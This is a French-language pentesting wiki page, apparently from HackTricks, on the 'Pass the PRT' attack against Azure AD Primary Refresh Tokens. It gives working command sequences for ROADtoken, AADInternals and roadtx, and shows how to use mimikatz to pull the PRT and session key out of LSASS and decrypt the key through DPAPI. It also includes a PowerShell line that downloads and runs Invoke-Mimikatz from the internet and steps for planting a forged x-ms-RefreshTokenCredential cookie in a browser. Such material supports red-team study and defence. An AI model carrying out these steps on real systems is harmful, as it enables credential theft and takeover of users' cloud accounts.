# Az - Pass the PRT

{{#include ../../../banners/hacktricks-training.md}}

## Qu'est-ce qu'un PRT

{{#ref}}
az-primary-refresh-token-prt.md
{{#endref}}

### Vérifiez si vous avez un PRT
```
Dsregcmd.exe /status
```
Dans la section État SSO, vous devriez voir le **`AzureAdPrt`** défini sur **OUI**.

<figure><img src="../../../images/image (140).png" alt=""><figcaption></figcaption></figure>

Dans la même sortie, vous pouvez également voir si le **dispositif est joint à Azure** (dans le champ `AzureAdJoined`) :

<figure><img src="../../../images/image (135).png" alt=""><figcaption></figcaption></figure>

## Cookie PRT

Le cookie PRT s'appelle en réalité **`x-ms-RefreshTokenCredential`** et c'est un JSON Web Token (JWT). Un JWT contient **3 parties**, l'**en-tête**, le **corps** et la **signature**, séparées par un `.` et toutes encodées en base64 sécurisée pour l'URL. Un cookie PRT typique contient l'en-tête et le corps suivants :
```json
{
"alg": "HS256",
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
}
{
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
"is_primary": "true",
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}
```
Le **Primary Refresh Token (PRT)** actuel est encapsulé dans le **`refresh_token`**, qui est chiffré par une clé sous le contrôle d'Azure AD, rendant son contenu opaque et indécryptable pour nous. Le champ **`is_primary`** signifie l'encapsulation du jeton de rafraîchissement principal dans ce jeton. Pour s'assurer que le cookie reste lié à la session de connexion spécifique pour laquelle il a été prévu, le `request_nonce` est transmis depuis la page `logon.microsoftonline.com`.

### Flux de cookie PRT utilisant TPM

Le processus **LSASS** enverra au TPM le **KDF context**, et le TPM utilisera la **session key** (rassemblée lorsque l'appareil a été enregistré dans AzureAD et stockée dans le TPM) et le contexte précédent pour **dériver** une **clé**, et cette **clé dérivée** est utilisée pour **signer le cookie PRT (JWT).**

Le **KDF context est** un nonce d'AzureAD et le PRT créant un **JWT** mélangé avec un **contexte** (octets aléatoires).

Par conséquent, même si le PRT ne peut pas être extrait car il est situé à l'intérieur du TPM, il est possible d'abuser de LSASS pour **demander des clés dérivées à partir de nouveaux contextes et utiliser les clés générées pour signer des cookies**.

<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>

## Scénarios d'abus de PRT

En tant que **utilisateur régulier**, il est possible de **demander l'utilisation du PRT** en demandant à LSASS des données SSO.\
Cela peut être fait comme des **applications natives** qui demandent des jetons au **Web Account Manager** (courtier de jetons). WAM passe la demande à **LSASS**, qui demande des jetons en utilisant une assertion PRT signée. Ou cela peut être fait avec des flux **basés sur le navigateur (web)** où un **cookie PRT** est utilisé comme **en-tête** pour authentifier les demandes aux pages de connexion Azure AS.

En tant que **SYSTEM**, vous pourriez **voler le PRT s'il n'est pas protégé** par TPM ou **interagir avec les clés PRT dans LSASS** en utilisant des API cryptographiques.

## Exemples d'attaque Pass-the-PRT

### Attaque - ROADtoken

Pour plus d'infos sur cette méthode [**vérifiez ce post**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken exécutera **`BrowserCore.exe`** depuis le bon répertoire et l'utilisera pour **obtenir un cookie PRT**. Ce cookie peut ensuite être utilisé avec ROADtools pour s'authentifier et **obtenir un jeton de rafraîchissement persistant**.

Pour générer un cookie PRT valide, la première chose dont vous avez besoin est un nonce.\
Vous pouvez obtenir cela avec :
```bash
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
```
Ou en utilisant [**roadrecon**](https://github.com/dirkjanm/ROADtools) :
```bash
roadrecon auth prt-init
```
Ensuite, vous pouvez utiliser [**roadtoken**](https://github.com/dirkjanm/ROADtoken) pour obtenir un nouveau PRT (exécutez l'outil à partir d'un processus de l'utilisateur à attaquer) :
```bash
.\ROADtoken.exe <nonce>
```
En tant que ligne unique :
```bash
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
```
Ensuite, vous pouvez utiliser le **cookie généré** pour **générer des jetons** afin de **vous connecter** en utilisant Azure AD **Graph** ou Microsoft Graph :
```bash
# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
```
### Attaque - Utilisation de roadrecon

### Attaque - Utilisation de AADInternals et d'un PRT divulgué

`Get-AADIntUserPRTToken` **récupère le jeton PRT de l'utilisateur** depuis l'ordinateur joint à Azure AD ou joint hybride. Utilise `BrowserCore.exe` pour obtenir le jeton PRT.
```bash
# Get the PRToken
$prtToken = Get-AADIntUserPRTToken

# Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
```
Ou si vous avez les valeurs de Mimikatz, vous pouvez également utiliser AADInternals pour générer un jeton :
```bash
# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."

# Add padding
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}

# Decode
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Mimikatz "Clear key" value
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"

# Convert to Byte array and B64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate PRTToken with Nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
$prtToken
## You can already use this token ac cookie in the browser

# Get access token from prtToken
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken

# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>
```
Allez sur [https://login.microsoftonline.com](https://login.microsoftonline.com), effacez tous les cookies pour login.microsoftonline.com et entrez un nouveau cookie.
```
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)
```
Puis allez sur [https://portal.azure.com](https://portal.azure.com)

> [!CAUTION]
> Le reste devrait être par défaut. Assurez-vous que vous pouvez actualiser la page et que le cookie ne disparaît pas, sinon, vous avez peut-être fait une erreur et devez recommencer le processus. Si ce n'est pas le cas, vous devriez être bon.

### Attaque - Mimikatz

#### Étapes

1. Le **PRT (Primary Refresh Token) est extrait de LSASS** (Local Security Authority Subsystem Service) et stocké pour une utilisation ultérieure.
2. La **clé de session est extraite ensuite**. Étant donné que cette clé est initialement émise puis ré-encryptée par l'appareil local, elle nécessite un déchiffrement à l'aide d'une clé maître DPAPI. Des informations détaillées sur DPAPI (Data Protection API) peuvent être trouvées dans ces ressources : [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) et pour comprendre son application, référez-vous à [Pass-the-cookie attack](az-pass-the-cookie.md).
3. Après le déchiffrement de la clé de session, la **clé dérivée et le contexte pour le PRT sont obtenus**. Ceux-ci sont cruciaux pour la **création du cookie PRT**. Plus précisément, la clé dérivée est utilisée pour signer le JWT (JSON Web Token) qui constitue le cookie. Une explication complète de ce processus a été fournie par Dirk-jan, accessible [ici](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).

> [!CAUTION]
> Notez que si le PRT est à l'intérieur du TPM et non à l'intérieur de `lsass`, **mimikatz ne pourra pas l'extraire**.\
> Cependant, il sera possible d'**obtenir une clé à partir d'une clé dérivée d'un contexte** du TPM et de l'utiliser pour **signer un cookie (voir option 3).**

Vous pouvez trouver une **explication approfondie du processus effectué** pour extraire ces détails ici : [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)

> [!WARNING]
> Cela ne fonctionnera pas exactement après les correctifs d'août 2021 pour obtenir les tokens PRT d'autres utilisateurs, car seul l'utilisateur peut obtenir son PRT (un administrateur local ne peut pas accéder aux PRT d'autres utilisateurs), mais peut accéder au sien.

Vous pouvez utiliser **mimikatz** pour extraire le PRT :
```bash
mimikatz.exe
Privilege::debug
Sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
```
(Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)

<figure><img src="../../../images/image (251).png" alt=""><figcaption></figcaption></figure>

**Copiez** la partie étiquetée **Prt** et enregistrez-la.\
Extrayez également la clé de session (le **`KeyValue`** du champ **`ProofOfPossesionKey`**) que vous pouvez voir mise en évidence ci-dessous. Elle est chiffrée et nous devrons utiliser nos clés maîtresses DPAPI pour la déchiffrer.

<figure><img src="../../../images/image (182).png" alt=""><figcaption></figcaption></figure>

> [!NOTE]
> Si vous ne voyez aucune donnée PRT, il se peut que vous **n'ayez pas de PRT** parce que votre appareil n'est pas joint à Azure AD ou qu'il se peut que vous **exécutiez une ancienne version** de Windows 10.

Pour **déchiffrer** la clé de session, vous devez **élever** vos privilèges à **SYSTEM** pour fonctionner sous le contexte de l'ordinateur afin de pouvoir utiliser la **clé maîtresse DPAPI pour la déchiffrer**. Vous pouvez utiliser les commandes suivantes pour ce faire :
```
token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
```
<figure><img src="../../../images/image (183).png" alt=""><figcaption></figcaption></figure>

#### Option 1 - Mimikatz complet

- Maintenant, vous voulez copier à la fois la valeur Context :

<figure><img src="../../../images/image (210).png" alt=""><figcaption></figcaption></figure>

- Et la valeur de clé dérivée :

<figure><img src="../../../images/image (150).png" alt=""><figcaption></figcaption></figure>

- Enfin, vous pouvez utiliser toutes ces informations pour **générer des cookies PRT** :
```bash
Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
```
<figure><img src="../../../images/image (282).png" alt=""><figcaption></figcaption></figure>

- Allez sur [https://login.microsoftonline.com](https://login.microsoftonline.com), effacez tous les cookies pour login.microsoftonline.com et entrez un nouveau cookie.
```
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)
```
- Ensuite, allez sur [https://portal.azure.com](https://portal.azure.com)

> [!CAUTION]
> Le reste devrait être par défaut. Assurez-vous que vous pouvez actualiser la page et que le cookie ne disparaît pas, si c'est le cas, vous avez peut-être fait une erreur et devez recommencer le processus. Si ce n'est pas le cas, vous devriez être bon.

#### Option 2 - roadrecon utilisant PRT

- Renouvelez d'abord le PRT, ce qui l'enregistrera dans `roadtx.prt`:
```bash
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
```
- Maintenant, nous pouvons **demander des jetons** en utilisant le navigateur interactif avec `roadtx browserprtauth`. Si nous utilisons la commande `roadtx describe`, nous voyons que le jeton d'accès inclut une revendication MFA car le PRT que j'ai utilisé dans ce cas avait également une revendication MFA.
```bash
roadtx browserprtauth
roadtx describe < .roadtools_auth
```
<figure><img src="../../../images/image (44).png" alt=""><figcaption></figcaption></figure>

#### Option 3 - roadrecon utilisant des clés dérivées

Ayant le contexte et la clé dérivée extraits par mimikatz, il est possible d'utiliser roadrecon pour générer un nouveau cookie signé avec :
```bash
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
```
## Références

- [https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/](https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/)
- [https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
- [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g)

{{#include ../../../banners/hacktricks-training.md}}
